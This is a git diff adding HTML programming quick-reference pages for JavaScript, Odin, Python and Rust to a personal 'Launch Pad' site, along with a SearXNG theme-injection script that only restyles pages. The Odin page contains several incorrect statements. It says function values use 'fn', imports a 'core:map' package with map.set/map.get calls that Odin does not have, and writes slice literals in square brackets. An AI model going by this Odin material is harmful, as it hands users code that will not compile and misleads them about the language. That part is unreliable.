      +for (let i = 0; i < 5; i++) {
      +    console.log(i);
      +}
      +
      +// For...of (arrays, strings)
      +let nums = [1, 2, 3];
      +for (let n of nums) {
      +    console.log(n);
      +}
      +
      +// For...in (object keys)
      +let person = {name: "Alice", age: 30};
      +for (let key in person) {
      +    console.log(key, person[key]);
      +}
      +
      +// Array methods
      +nums.forEach(n => console.log(n));
      +nums.forEach((n, i) => console.log(i, n));
      +
      +

      While Loops

      +
      while (x > 0) {
      +    x--;
      +    console.log(x);
      +}
      +
      +// Do...while
      +do {
      +    x--;
      +} while (x > 0);
      +
      +
      +

      Functions

      +
      // Function declaration
      +function add(a, b) {
      +    return a + b;
      +}
      +
      +console.log(add(2, 3));
      +
      +// Function expression
      +const subtract = function(a, b) {
      +    return a - b;
      +};
      +
      +// Arrow functions
      +const multiply = (a, b) => {
      +    return a * b;
      +};
      +
      +const divide = (a, b) => a / b;  // Implicit return
      +
      +// Default parameters
      +function greet(name = "World") {
      +    return `Hello, ${name}!`;
      +}
      +
      +// Rest parameters
      +function sum(...numbers) {
      +    return numbers.reduce((a, b) => a + b, 0);
      +}
      +
      +
      +

      Arrays / Objects

      +

      Arrays

      +
      let nums = [1, 2, 3];
      +nums.forEach(n => console.log(n));
      +
      +// Array methods
      +nums.push(4);           // Add to end
      +nums.pop();             // Remove from end
      +nums.unshift(0);        // Add to beginning
      +nums.shift();           // Remove from beginning
      +nums.length             // Length
      +nums[0]                 // Access by index
      +nums.slice(1, 3)         // Slice (non-mutating)
      +nums.splice(1, 1)        // Remove/insert (mutating)
      +
      +// Array methods (functional)
      +nums.map(n => n * 2)    // Transform
      +nums.filter(n => n > 1) // Filter
      +nums.reduce((a, b) => a + b, 0)  // Reduce
      +nums.find(n => n > 1)    // Find first match
      +nums.some(n => n > 5)    // Any match
      +nums.every(n => n > 0)   // All match
      +
      +

      Objects

      +
      let person = {name: "Alice", age: 30};
      +console.log(person.name);
      +console.log(person["name"]);
      +
      +// Object methods
      +person.greet = function() {
      +    return `Hello, I'm ${this.name}`;
      +};
      +
      +// Object literal with method shorthand
      +let person = {
      +    name: "Alice",
      +    age: 30,
      +    greet() {
      +        return `Hello, I'm ${this.name}`;
      +    }
      +};
      +
      +// Object destructuring
      +let {name, age} = person;
      +let {name: n, age: a} = person;  // Rename
      +
      +// Spread operator
      +let person2 = {...person, age: 31};
      +
      +

      Maps and Sets

      +
      // Map
      +let map = new Map();
      +map.set("name", "Alice");
      +map.set("age", 30);
      +map.get("name");
      +map.has("name");
      +map.delete("name");
      +
      +// Set
      +let set = new Set([1, 2, 3]);
      +set.add(4);
      +set.has(3);
      +set.delete(2);
      +set.size
      +
      +
      +

      Strings

      +
      let text = "Hello, World!";
      +let template = `Hello, ${name}!`;  // Template literal
      +
      +// String methods
      +text.length
      +text.toUpperCase()
      +text.toLowerCase()
      +text.substring(0, 5)
      +text.slice(0, 5)
      +text.split(",")
      +text.replace("World", "JavaScript")
      +text.includes("Hello")
      +text.startsWith("Hello")
      +text.endsWith("!")
      +
      +
      +

      Classes

      +
      class Person {
      +    constructor(name, age) {
      +        this.name = name;
      +        this.age = age;
      +    }
      +    
      +    greet() {
      +        return `Hello, I'm ${this.name}`;
      +    }
      +}
      +
      +let person = new Person("Alice", 30);
      +console.log(person.greet());
      +
      +// Inheritance
      +class Student extends Person {
      +    constructor(name, age, grade) {
      +        super(name, age);
      +        this.grade = grade;
      +    }
      +}
      +
      +
      +

      Promises & Async/Await

      +
      // Promises
      +let promise = new Promise((resolve, reject) => {
      +    setTimeout(() => resolve("Done!"), 1000);
      +});
      +
      +promise.then(result => console.log(result))
      +       .catch(error => console.error(error));
      +
      +// Async/await
      +async function fetchData() {
      +    try {
      +        let response = await fetch("https://api.example.com/data");
      +        let data = await response.json();
      +        return data;
      +    } catch (error) {
      +        console.error("Error:", error);
      +    }
      +}
      +
      +// Promise.all
      +let promises = [promise1, promise2, promise3];
      +Promise.all(promises).then(results => {
      +    console.log(results);
      +});
      +
      +
      +

      Error Handling

      +
      try {
      +    let result = riskyOperation();
      +} catch (error) {
      +    console.error("Error:", error.message);
      +} finally {
      +    console.log("Always runs");
      +}
      +
      +// Throwing errors
      +function divide(a, b) {
      +    if (b === 0) {
      +        throw new Error("Division by zero");
      +    }
      +    return a / b;
      +}
      +
      +
      +

      Modules (ES6)

      +
      // Export
      +export function add(a, b) {
      +    return a + b;
      +}
      +
      +export const PI = 3.14159;
      +
      +export default class Calculator {
      +    // ...
      +}
      +
      +// Import
      +import { add, PI } from "./math.js";
      +import Calculator from "./calculator.js";
      +import * as math from "./math.js";
      +
      +
      +

      Node.js Basics

      +
      // File system
      +const fs = require("fs");
      +
      +// Reading
      +fs.readFile("file.txt", "utf8", (err, data) => {
      +    if (err) throw err;
      +    console.log(data);
      +});
      +
      +// Writing
      +fs.writeFile("file.txt", "Hello, World!", (err) => {
      +    if (err) throw err;
      +});
      +
      +// Promises (fs/promises)
      +const fs = require("fs/promises");
      +let data = await fs.readFile("file.txt", "utf8");
      +
      +// Readline (user input)
      +const readline = require("readline");
      +const rl = readline.createInterface({
      +    input: process.stdin,
      +    output: process.stdout
      +});
      +
      +rl.question("What's your name? ", (answer) => {
      +    console.log(`Hello, ${answer}!`);
      +    rl.close();
      +});
      +
      +
      +

      Tips

      +
        +
      • Variables: let mutable, const immutable. Avoid var.
      • +
      +
        +
      • prompt() (browser) or readline (Node.js) can handle user input.
      • +
      +
        +
      • JS is dynamically typed; type coercion can surprise you. Use === for strict equality.
      • +
      +
        +
      • Arrays are zero-indexed; objects are key-value maps.
      • +
      +
        +
      • Functions are first-class and can be anonymous or arrow-style.
      • +
      +
        +
      • Use const by default, let when reassignment is needed.
      • +
      +
        +
      • Template literals (backticks) allow string interpolation: `Hello, ${name}!`.
      • +
      +
        +
      • Arrow functions preserve this from enclosing scope; regular functions have their own this.
      • +
      +
        +
      • Use array methods (map, filter, reduce) for functional programming patterns.
      • +
      +
        +
      • Destructuring works with arrays and objects for cleaner code.
      • +
      +
        +
      • Use async/await for cleaner asynchronous code than promise chains.
      • +
      +
        +
      • null is intentional absence of value; undefined is uninitialized.
      • +
      +
        +
      • Use === and !== instead of == and != to avoid type coercion surprises.
      • +
      +
      +
      +
      +
      + + + + + diff --git a/quickref/odin.html b/quickref/odin.html new file mode 100644 index 0000000..bb56d40 --- /dev/null +++ b/quickref/odin.html @@ -0,0 +1,415 @@ + + + + + + + + + + + Odin Quickstart Reference - Quick Reference - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      Odin Quickstart Reference

      +
      +
      +
      +
      +
      +
      +

      ← Back to quick reference

      +

      ← Home

      +
      +

      Quick reference guide for Odin. Essential syntax, types, control flow, and common patterns for the Odin programming language.

      +
      +

      Hello World

      +
      package main
      +
      +import "core:fmt"
      +
      +main :: proc() {
      +    fmt.println("Hello, World!")  // Odin keeps it clean and readable.
      +}
      +
      +

      Variables

      +
      x: int = 42
      +name: string = "Alice"
      +flag: bool = true
      +pi: f64 = 3.14
      +
      +// Type inference with :=
      +y := 100              // Compiler infers int
      +text := "Hello"       // Compiler infers string
      +
      +// Multiple declarations
      +a, b, c: int = 1, 2, 3
      +
      +
      +

      Control Flow

      +

      If/Else

      +
      if x > 10 {
      +    fmt.println("x is big")
      +} else {
      +    fmt.println("x is small")
      +}
      +
      +if x > 10 {
      +    fmt.println("big")
      +} else if x > 5 {
      +    fmt.println("medium")
      +} else {
      +    fmt.println("small")
      +}
      +
      +// If as expression
      +result := "big" if x > 10 else "small"
      +
      +

      For Loops

      +
      for i in 0..5 {          // 0 to 4, exclusive
      +    fmt.println(i)
      +}
      +
      +for i in 0..=5 {        // 0 to 5, inclusive
      +    fmt.println(i)
      +}
      +
      +nums := []int{1, 2, 3}
      +for n in nums {
      +    fmt.println(n)
      +}
      +
      +for n, i in nums {      // Value and index
      +    fmt.printf("%d: %d\n", i, n)
      +}
      +
      +// Traditional C-style
      +for i := 0; i < 5; i += 1 {
      +    fmt.println(i)
      +}
      +
      +

      While Loops

      +
      y := 10
      +for y > 0 {
      +    y -= 1
      +    fmt.println(y)
      +}
      +
      +// Infinite loop
      +for {
      +    if y <= 0 {
      +        break
      +    }
      +    y -= 1
      +}
      +
      +
      +

      Functions

      +
      add := fn(a: int, b: int) -> int {
      +    return a + b
      +}
      +
      +fmt.println(add(2, 3))
      +
      +// Named function
      +add :: proc(a: int, b: int) -> int {
      +    return a + b
      +}
      +
      +// Multiple return values
      +divide :: proc(a: f64, b: f64) -> (f64, bool) {
      +    if b == 0 {
      +        return 0, false
      +    }
      +    return a / b, true
      +}
      +
      +result, ok := divide(10.0, 2.0)
      +if ok {
      +    fmt.println(result)
      +}
      +
      +// Procedures (no return value)
      +greet :: proc(name: string) {
      +    fmt.printf("Hello, %s!\n", name)
      +}
      +
      +
      +

      Arrays / Slices

      +

      Slices

      +
      nums: []int = [1, 2, 3]  // Slice literal, mutable and resizable
      +for n in nums {
      +    fmt.println(n)
      +}
      +
      +// Append to slice
      +append(&nums, 4)
      +append(&nums, 5, 6)
      +
      +// Length and capacity
      +len(nums)               // Current length
      +cap(nums)               // Capacity
      +
      +// Make slice with capacity
      +nums := make([]int, 0, 10)  // Length 0, capacity 10
      +
      +

      Arrays

      +
      arr: [3]int = {1, 2, 3}  // Fixed-size array
      +arr := [3]int{1, 2, 3}   // Shorthand
      +
      +// Array size inference
      +arr := [?]int{1, 2, 3}   // Compiler infers size 3
      +
      +

      Maps

      +
      import "core:map"
      +
      +person := make(map[string]string)
      +map.set(&person, "name", "Alice")
      +map.set(&person, "age", "30")
      +
      +name, found := map.get(&person, "name")
      +if found {
      +    fmt.println(name)
      +}
      +
      +// Map literal
      +person := map[string]string{
      +    "name" = "Alice",
      +    "age"  = "30",
      +}
      +
      +
      +

      Strings

      +
      text := "Hello, World!"
      +text := `Multiline
      +string
      +literal`
      +
      +// String operations
      +len(text)                // Length in bytes
      +fmt.printf("%s\n", text) // Print formatted
      +
      +// String concatenation
      +greeting := "Hello, " + name
      +
      +// String formatting
      +name := "Alice"
      +greeting := fmt.tprintf("Hello, %s!", name)
      +
      +
      +

      Structs

      +
      Person :: struct {
      +    name: string,
      +    age:  int,
      +}
      +
      +person := Person{
      +    name = "Alice",
      +    age  = 30,
      +}
      +
      +fmt.printf("%s is %d\n", person.name, person.age)
      +
      +// Methods
      +Person :: struct {
      +    name: string,
      +    age:  int,
      +}
      +
      +greet :: proc(p: Person) {
      +    fmt.printf("Hello, I'm %s\n", p.name)
      +}
      +
      +person := Person{name = "Alice", age = 30}
      +greet(person)
      +
      +
      +

      Enums

      +
      Direction :: enum {
      +    Up,
      +    Down,
      +    Left,
      +    Right,
      +}
      +
      +dir := Direction.Up
      +
      +switch dir {
      +case .Up:
      +    fmt.println("Going up")
      +case .Down:
      +    fmt.println("Going down")
      +case .Left:
      +    fmt.println("Going left")
      +case .Right:
      +    fmt.println("Going right")
      +}
      +
      +
      +

      Unions

      +
      Value :: union {
      +    int,
      +    f64,
      +    string,
      +}
      +
      +v: Value = 42
      +v = 3.14
      +v = "hello"
      +
      +switch v in v {
      +case int:
      +    fmt.printf("Integer: %d\n", v)
      +case f64:
      +    fmt.printf("Float: %f\n", v)
      +case string:
      +    fmt.printf("String: %s\n", v)
      +}
      +
      +
      +

      Error Handling

      +
      import "core:fmt"
      +
      +// Using optional types
      +divide :: proc(a: f64, b: f64) -> (result: f64, ok: bool) {
      +    if b == 0 {
      +        return 0, false
      +    }
      +    return a / b, true
      +}
      +
      +result, ok := divide(10.0, 2.0)
      +if ok {
      +    fmt.printf("Result: %f\n", result)
      +} else {
      +    fmt.println("Division by zero")
      +}
      +
      +// Using error types
      +Error :: enum {
      +    None,
      +    Division_By_Zero,
      +    Invalid_Input,
      +}
      +
      +divide :: proc(a: f64, b: f64) -> (f64, Error) {
      +    if b == 0 {
      +        return 0, .Division_By_Zero
      +    }
      +    return a / b, .None
      +}
      +
      +
      +

      File Operations

      +
      import "core:os"
      +import "core:fmt"
      +
      +// Reading
      +data, ok := os.read_entire_file("file.txt")
      +if ok {
      +    fmt.println(string(data))
      +}
      +
      +// Writing
      +content := "Hello, World!"
      +os.write_entire_file("file.txt", transmute([]u8)content)
      +
      +
      +

      Memory Management

      +
      import "core:mem"
      +
      +// Allocators
      +allocator := context.allocator
      +
      +// Allocate memory
      +ptr := new(int)
      +ptr^ = 42
      +
      +// Free memory
      +free(ptr)
      +
      +// Using different allocators
      +temp_allocator := mem.temp_allocator()
      +
      +
      +

      Tips

      +
        +
      • Odin is strongly typed; type declarations are explicit.
      • +
      +
        +
      • Loops often use ranges like 0..5 (exclusive of 5); use 0..=5 for inclusive.
      • +
      +
        +
      • fmt.scanf or read_string can handle user input: +
        import "core:fmt"
        +import "core:os"
        +
        +input: [256]u8
        +n, _ := os.read(os.stdin, input[:])
        +text := string(input[:n])
        +
      • +
      +
        +
      • Slices ([]Type) are dynamic arrays, arrays ([N]Type) are fixed-size.
      • +
      +
        +
      • Functions are first-class and can be assigned to variables.
      • +
      +
        +
      • Use := for type inference, : for explicit typing.
      • +
      +
        +
      • Procedures (proc) are functions; use fn for function values.
      • +
      +
        +
      • Multiple return values are common; use tuples or named returns.
      • +
      +
        +
      • Use ^ to dereference pointers, & to take addresses.
      • +
      +
        +
      • Odin uses explicit memory management; understand allocators for advanced usage.
      • +
      +
        +
      • Struct literals use = for field assignment: Person{name = "Alice"}.
      • +
      +
        +
      • Use switch for pattern matching on enums and unions.
      • +
      +
        +
      • Import packages with import "package:name"; core library uses "core:" prefix.
      • +
      +
      +
      +
      +
      + + + + + diff --git a/quickref/python.html b/quickref/python.html new file mode 100644 index 0000000..9ce4124 --- /dev/null +++ b/quickref/python.html @@ -0,0 +1,239 @@ + + + + + + + + + + + Python Quickstart Reference - Quick Reference - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +/ \ / \_ _____/\______ \/ _____/| \__ ___/\_ _____/ +\ \/\/ /| __)_ | | _/\_____ \ | | | | | __)_ + \ / | \ | | \/ \| | | | | \ + \__/\ / /_______ / |______ /_______ /|___| |____| /_______ / + \/ \/ \/ \/ \/ + +
      +
      +
      + + + +

      Python Quickstart Reference

      +
      +
      +
      +
      +
      +
      +

      ← Back to quick reference

      +

      ← Home

      +
      +

      Quick reference guide for Python. Essential syntax, control flow, data structures, and common patterns.

      +
      +

      Hello World

      +
      print("Hello, World!")  # The universal programmer's rite of passage.
      +
      +

      Variables

      +
      x = 42          # integer
      +name = "Alice"  # string
      +flag = True     # boolean
      +pi = 3.14       # float
      +
      +
      +

      Control Flow

      +

      If/Else

      +
      if x > 10:               # Colon is mandatory; indentation rules supreme
      +    print("x is big")    
      +else:
      +    print("x is small")
      +
      +if x > 10:
      +    print("big")
      +elif x > 5:
      +    print("medium")
      +else:
      +    print("small")
      +
      +

      For Loops

      +
      for i in range(5):       # i goes from 0 to 4
      +    print(i)
      +
      +for item in [1, 2, 3]:   # Iterate over list
      +    print(item)
      +
      +for i in range(0, 10, 2):  # Start, stop, step
      +    print(i)                # Prints 0, 2, 4, 6, 8
      +
      +

      While Loops

      +
      while x > 0:             # Beware infinite loops
      +    x -= 1
      +    print(x)
      +
      +
      +

      Functions

      +
      def add(a, b):           # 'def' starts the function
      +    return a + b
      +
      +print(add(2, 3))         # Call a function with parentheses
      +
      +def greet(name="World"): # Default parameter
      +    return f"Hello, {name}!"
      +
      +greet()                  # Uses default
      +greet("Alice")           # Overrides default
      +
      +
      +

      Lists / Dictionaries

      +

      Lists

      +
      nums = [1, 2, 3]         # Lists are ordered, mutable
      +for n in nums:           
      +    print(n)
      +
      +nums.append(4)           # Add to end
      +nums.insert(0, 0)        # Insert at index
      +nums.pop()               # Remove and return last item
      +nums[0]                  # Access by index
      +nums[-1]                 # Last item (negative indexing)
      +nums[1:3]                # Slice: items 1 to 2 (not 3)
      +
      +

      Dictionaries

      +
      person = {"name": "Alice", "age": 30}  # Key-value mapping
      +print(person["name"])                    # Access via keys
      +person["city"] = "NYC"                   # Add new key-value
      +person.get("name")                       # Safe access (returns None if missing)
      +person.get("phone", "N/A")               # With default value
      +
      +for key, value in person.items():        # Iterate over key-value pairs
      +    print(f"{key}: {value}")
      +
      +

      Tuples

      +
      point = (3, 4)           # Immutable ordered collection
      +x, y = point             # Unpacking
      +
      +

      Sets

      +
      unique = {1, 2, 3}       # Unordered collection of unique items
      +unique.add(4)            # Add item
      +unique.remove(2)         # Remove item
      +
      +
      +

      String Operations

      +
      text = "Hello, World!"
      +text.upper()             # "HELLO, WORLD!"
      +text.lower()             # "hello, world!"
      +text.split(",")          # ["Hello", " World!"]
      +text.replace("World", "Python")  # "Hello, Python!"
      +f"Value: {x}"            # f-string formatting
      +"Value: {}".format(x)    # .format() method
      +
      +
      +

      List Comprehensions

      +
      squares = [x**2 for x in range(10)]           # [0, 1, 4, 9, 16, ...]
      +evens = [x for x in range(10) if x % 2 == 0] # [0, 2, 4, 6, 8]
      +
      +
      +

      Error Handling

      +
      try:
      +    result = 10 / 0
      +except ZeroDivisionError:
      +    print("Can't divide by zero!")
      +except Exception as e:
      +    print(f"Error: {e}")
      +finally:
      +    print("This always runs")
      +
      +
      +

      File Operations

      +
      # Reading
      +with open("file.txt", "r") as f:
      +    content = f.read()
      +    lines = f.readlines()
      +
      +# Writing
      +with open("file.txt", "w") as f:
      +    f.write("Hello, World!")
      +
      +# Appending
      +with open("file.txt", "a") as f:
      +    f.write("New line\n")
      +
      +
      +

      Classes

      +
      class Person:
      +    def __init__(self, name, age):
      +        self.name = name
      +        self.age = age
      +    
      +    def greet(self):
      +        return f"Hello, I'm {self.name}"
      +
      +person = Person("Alice", 30)
      +print(person.greet())
      +
      +
      +

      Tips

      +
        +
      • Indentation *is* syntax — Python hates lazy spacing.
      • +
      +
        +
      • input() always returns a string; convert to int/float if needed: +
        age = int(input("How old are you? "))
        +
      • +
      +
        +
      • Python is dynamically typed: flexible, but watch out for sneaky type errors.
      • +
      +
        +
      • Everything is an object, even functions and classes.
      • +
      +
        +
      • range(5) goes 0..4, not 5 — the Pythonic gotcha.
      • +
      +
        +
      • Use with statements for file operations — automatic cleanup.
      • +
      +
        +
      • List comprehensions are faster and more Pythonic than loops for simple transformations.
      • +
      +
        +
      • Use enumerate() when you need both index and value: +
        for i, item in enumerate(items):
        +    print(f"{i}: {item}")
        +
      • +
      +
        +
      • Use zip() to iterate over multiple lists simultaneously: +
        for name, age in zip(names, ages):
        +    print(f"{name} is {age}")
        +
      • +
      +
        +
      • Import modules with import module or specific functions with from module import function.
      • +
      +
      +
      +
      +
      + + + + + diff --git a/quickref/rust.html b/quickref/rust.html new file mode 100644 index 0000000..ad75256 --- /dev/null +++ b/quickref/rust.html @@ -0,0 +1,372 @@ + + + + + + + + + + + Rust Quickstart Reference - Quick Reference - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      Rust Quickstart Reference

      +
      +
      +
      +
      +
      +
      +

      ← Back to quick reference

      +

      ← Home

      +
      +

      Quick reference guide for Rust. Essential syntax, ownership, borrowing, and common patterns.

      +
      +

      Hello World

      +
      fn main() {
      +    println!("Hello, World!");  // Semicolons required; braces define scope
      +}
      +
      +

      Variables

      +
      let x: i32 = 42;       // Immutable by default
      +let mut y: i32 = 10;   // Mutable
      +let name: &str = "Alice";
      +let flag: bool = true;
      +let pi: f64 = 3.14;    // Floating point
      +
      +// Type inference
      +let z = 100;            // Compiler infers i32
      +let text = "Hello";     // &str
      +
      +
      +

      Control Flow

      +

      If/Else

      +
      if x > 10 {
      +    println!("x is big");
      +} else {
      +    println!("x is small");
      +}
      +
      +if x > 10 {
      +    println!("big");
      +} else if x > 5 {
      +    println!("medium");
      +} else {
      +    println!("small");
      +}
      +
      +// If as expression
      +let result = if x > 10 { "big" } else { "small" };
      +
      +

      For Loops

      +
      for i in 0..5 {         // 0 to 4 (exclusive)
      +    println!("{}", i);
      +}
      +
      +for i in 0..=5 {        // 0 to 5 (inclusive)
      +    println!("{}", i);
      +}
      +
      +let nums = vec![1, 2, 3];
      +for n in &nums {        // Borrow reference
      +    println!("{}", n);
      +}
      +
      +for (i, n) in nums.iter().enumerate() {
      +    println!("{}: {}", i, n);
      +}
      +
      +

      While Loops

      +
      while y > 0 {
      +    y -= 1;
      +    println!("{}", y);
      +}
      +
      +// Loop with break
      +loop {
      +    if y <= 0 {
      +        break;
      +    }
      +    y -= 1;
      +}
      +
      +
      +

      Functions

      +
      fn add(a: i32, b: i32) -> i32 {
      +    a + b                  // Expression returns value (no semicolon)
      +}
      +
      +println!("{}", add(2, 3));
      +
      +// Explicit return
      +fn subtract(a: i32, b: i32) -> i32 {
      +    return a - b;           // Semicolon required with return
      +}
      +
      +// Unit type (no return value)
      +fn greet() {
      +    println!("Hello!");
      +}
      +
      +
      +

      Vectors / HashMaps

      +

      Vectors

      +
      let nums = vec![1, 2, 3];   // Dynamic array
      +for n in &nums {
      +    println!("{}", n);
      +}
      +
      +let mut vec = Vec::new();
      +vec.push(1);
      +vec.push(2);
      +vec.pop();                  // Remove and return last item
      +vec[0]                      // Access by index
      +vec.len()                   // Length
      +
      +

      HashMaps

      +
      use std::collections::HashMap;
      +
      +let mut person = HashMap::new();
      +person.insert("name", "Alice");
      +person.insert("age", "30");
      +println!("{}", person["name"]);
      +
      +// Safe access
      +match person.get("name") {
      +    Some(value) => println!("{}", value),
      +    None => println!("Not found"),
      +}
      +
      +// Or use unwrap_or
      +let name = person.get("name").unwrap_or(&"Unknown");
      +
      +

      Arrays

      +
      let arr = [1, 2, 3];        // Fixed-size array
      +let arr: [i32; 3] = [1, 2, 3];  // Explicit type and size
      +
      +

      Tuples

      +
      let point = (3, 4);
      +let (x, y) = point;         // Destructuring
      +let x = point.0;            // Access by index
      +
      +
      +

      Strings

      +
      let s1 = "Hello";           // &str (string slice)
      +let s2 = String::from("Hello");  // String (owned)
      +let s3 = s2.clone();        // Clone owned string
      +
      +// String operations
      +let mut s = String::from("Hello");
      +s.push_str(" World");
      +s.push('!');
      +let len = s.len();
      +let slice = &s[0..5];       // String slice
      +
      +// Formatting
      +let name = "Alice";
      +let greeting = format!("Hello, {}!", name);
      +
      +
      +

      Ownership & Borrowing

      +
      // Ownership
      +let s1 = String::from("hello");
      +let s2 = s1;                // s1 moved to s2, s1 no longer valid
      +// println!("{}", s1);      // Error! s1 no longer owns the value
      +
      +// Borrowing (references)
      +let s1 = String::from("hello");
      +let len = calculate_length(&s1);  // Borrow, don't move
      +println!("{}", s1);        // Still valid
      +
      +fn calculate_length(s: &String) -> usize {
      +    s.len()
      +}
      +
      +// Mutable references
      +let mut s = String::from("hello");
      +change(&mut s);
      +
      +fn change(some_string: &mut String) {
      +    some_string.push_str(", world");
      +}
      +
      +
      +

      Structs

      +
      struct Person {
      +    name: String,
      +    age: u32,
      +}
      +
      +let person = Person {
      +    name: String::from("Alice"),
      +    age: 30,
      +};
      +
      +println!("{} is {}", person.name, person.age);
      +
      +// Methods
      +impl Person {
      +    fn new(name: String, age: u32) -> Person {
      +        Person { name, age }
      +    }
      +    
      +    fn greet(&self) {
      +        println!("Hello, I'm {}", self.name);
      +    }
      +}
      +
      +let person = Person::new(String::from("Alice"), 30);
      +person.greet();
      +
      +
      +

      Enums

      +
      enum Direction {
      +    Up,
      +    Down,
      +    Left,
      +    Right,
      +}
      +
      +let dir = Direction::Up;
      +
      +match dir {
      +    Direction::Up => println!("Going up"),
      +    Direction::Down => println!("Going down"),
      +    Direction::Left => println!("Going left"),
      +    Direction::Right => println!("Going right"),
      +}
      +
      +// Enums with data
      +enum Option<T> {
      +    Some(T),
      +    None,
      +}
      +
      +let some_number = Some(5);
      +let no_number: Option<i32> = None;
      +
      +
      +

      Error Handling

      +
      // Result type
      +fn divide(a: f64, b: f64) -> Result<f64, String> {
      +    if b == 0.0 {
      +        Err(String::from("Division by zero"))
      +    } else {
      +        Ok(a / b)
      +    }
      +}
      +
      +match divide(10.0, 2.0) {
      +    Ok(result) => println!("Result: {}", result),
      +    Err(e) => println!("Error: {}", e),
      +}
      +
      +// Using unwrap (panics on error)
      +let result = divide(10.0, 2.0).unwrap();
      +
      +// Using expect (custom panic message)
      +let result = divide(10.0, 2.0).expect("Division failed");
      +
      +// Using ? operator (propagates error)
      +fn calculate() -> Result<f64, String> {
      +    let x = divide(10.0, 2.0)?;
      +    Ok(x * 2.0)
      +}
      +
      +
      +

      File Operations

      +
      use std::fs;
      +use std::io::{self, Write};
      +
      +// Reading
      +let content = fs::read_to_string("file.txt")
      +    .expect("Failed to read file");
      +
      +// Writing
      +fs::write("file.txt", "Hello, World!")
      +    .expect("Failed to write file");
      +
      +// With error handling
      +match fs::read_to_string("file.txt") {
      +    Ok(content) => println!("{}", content),
      +    Err(e) => println!("Error: {}", e),
      +}
      +
      +
      +

      Tips

      +
        +
      • Rust variables are immutable by default; use mut to allow changes.
      • +
      +
        +
      • read_line handles user input; parsing is required for numbers: +
        use std::io;
        +let mut input = String::new();
        +io::stdin().read_line(&mut input).expect("Failed to read");
        +let number: i32 = input.trim().parse().expect("Not a number");
        +
      • +
      +
        +
      • Ownership and borrowing rules prevent data races — Rust's core safety guarantee.
      • +
      +
        +
      • 0..5 ranges are exclusive of the end value; use 0..=5 for inclusive.
      • +
      +
        +
      • Everything has a type; Rust's compiler is strict but helpful with error messages.
      • +
      +
        +
      • Use & for borrowing (references) and &mut for mutable borrowing.
      • +
      +
        +
      • Expressions (no semicolon) return values; statements (with semicolon) return unit ().
      • +
      +
        +
      • Use match for pattern matching — exhaustive and powerful.
      • +
      +
        +
      • Use Option<T> for values that might not exist, Result<T, E> for operations that might fail.
      • +
      +
        +
      • The ? operator is syntactic sugar for propagating errors in functions that return Result.
      • +
      +
        +
      • Use unwrap() sparingly — prefer proper error handling with match or ?.
      • +
      +
        +
      • Structs define data; impl blocks define methods and associated functions.
      • +
      +
      +
      +
      +
      + + + + + diff --git a/search/theme-inject.js b/search/theme-inject.js new file mode 100644 index 0000000..a2c9f65 --- /dev/null +++ b/search/theme-inject.js @@ -0,0 +1,131 @@ +// SearXNG theme injector - matches home page theme +(function() { + 'use strict'; + + function getThemeFromCookie() { + const cookies = document.cookie.split(';'); + for (let cookie of cookies) { + const [name, value] = cookie.trim().split('='); + if (name === 'simple_style') { + return value === 'dark' ? 'dark' : 'light'; + } + } + // Check HTML class as fallback + if (document.documentElement.classList.contains('theme-dark') || + document.documentElement.classList.contains('theme-black')) { + return 'dark'; + } + return 'light'; + } + + function applyTheme(theme) { + const isDark = theme === 'dark'; + + const colors = isDark ? { + bg: '#0C1012', + bgBody: '#1F282E', + textPrimary: '#59C99C', + textSecondary: '#A5A9AB', + border: '#326B78', + hover: '#326B78', + shadow: 'rgba(53, 62, 67, 0.27)' + } : { + bg: '#f7f8f7', + bgBody: '#f7f8f7', + textPrimary: '#2a3826', + textSecondary: '#62696D', + border: '#904b59', + hover: '#7d9b8f', + shadow: 'rgba(42, 56, 38, 0.27)' + }; + + const styleId = 'fraggle-searxng-theme'; + let style = document.getElementById(styleId); + if (!style) { + style = document.createElement('style'); + style.id = styleId; + document.head.appendChild(style); + } + + style.textContent = ` + body, html { background-color: ${colors.bgBody} !important; color: ${colors.textPrimary} !important; } + #main_results, #main_index { background-color: ${colors.bgBody} !important; } + #q, input[type="text"], input[type="search"] { + background-color: ${colors.bg} !important; + color: ${colors.textPrimary} !important; + border: 4px solid ${colors.border} !important; + box-shadow: 5px 5px 1px 2px ${colors.shadow} !important; + border-radius: 8px !important; + } + #q:focus, input[type="text"]:focus, input[type="search"]:focus { + border-color: ${colors.border} !important; + outline: none !important; + } + button, input[type="submit"], .btn { + background-color: ${colors.bg} !important; + color: ${colors.textPrimary} !important; + border: 4px solid ${colors.border} !important; + box-shadow: 5px 5px 1px 2px ${colors.shadow} !important; + border-radius: 8px !important; + } + button:hover, input[type="submit"]:hover, .btn:hover { + color: ${colors.hover} !important; + border-color: ${colors.hover} !important; + } + a { color: ${colors.textPrimary} !important; } + a:hover { color: ${colors.hover} !important; } + a:visited { color: ${colors.textPrimary} !important; } + .result, .result-default { + background-color: ${colors.bg} !important; + border: 4px solid ${colors.border} !important; + box-shadow: 5px 5px 1px 2px ${colors.shadow} !important; + border-radius: 8px !important; + color: ${colors.textPrimary} !important; + } + .result:hover { box-shadow: 7px 7px 2px 3px ${colors.shadow} !important; } + .result h3 a { color: ${colors.textPrimary} !important; } + .result h3 a:hover { color: ${colors.hover} !important; } + .result .content { color: ${colors.textPrimary} !important; } + .result .url { color: ${colors.textSecondary} !important; } + nav, #links_on_top { background-color: transparent !important; } + nav a, #links_on_top a { color: ${colors.textPrimary} !important; } + nav a:hover, #links_on_top a:hover { color: ${colors.hover} !important; } + fieldset { + border: 2px solid ${colors.border} !important; + border-radius: 8px !important; + background-color: ${colors.bg} !important; + } + legend { color: ${colors.textPrimary} !important; } + select, input[type="checkbox"] { + background-color: ${colors.bg} !important; + color: ${colors.textPrimary} !important; + border: 2px solid ${colors.border} !important; + border-radius: 4px !important; + } + h1, h2, h3, h4, 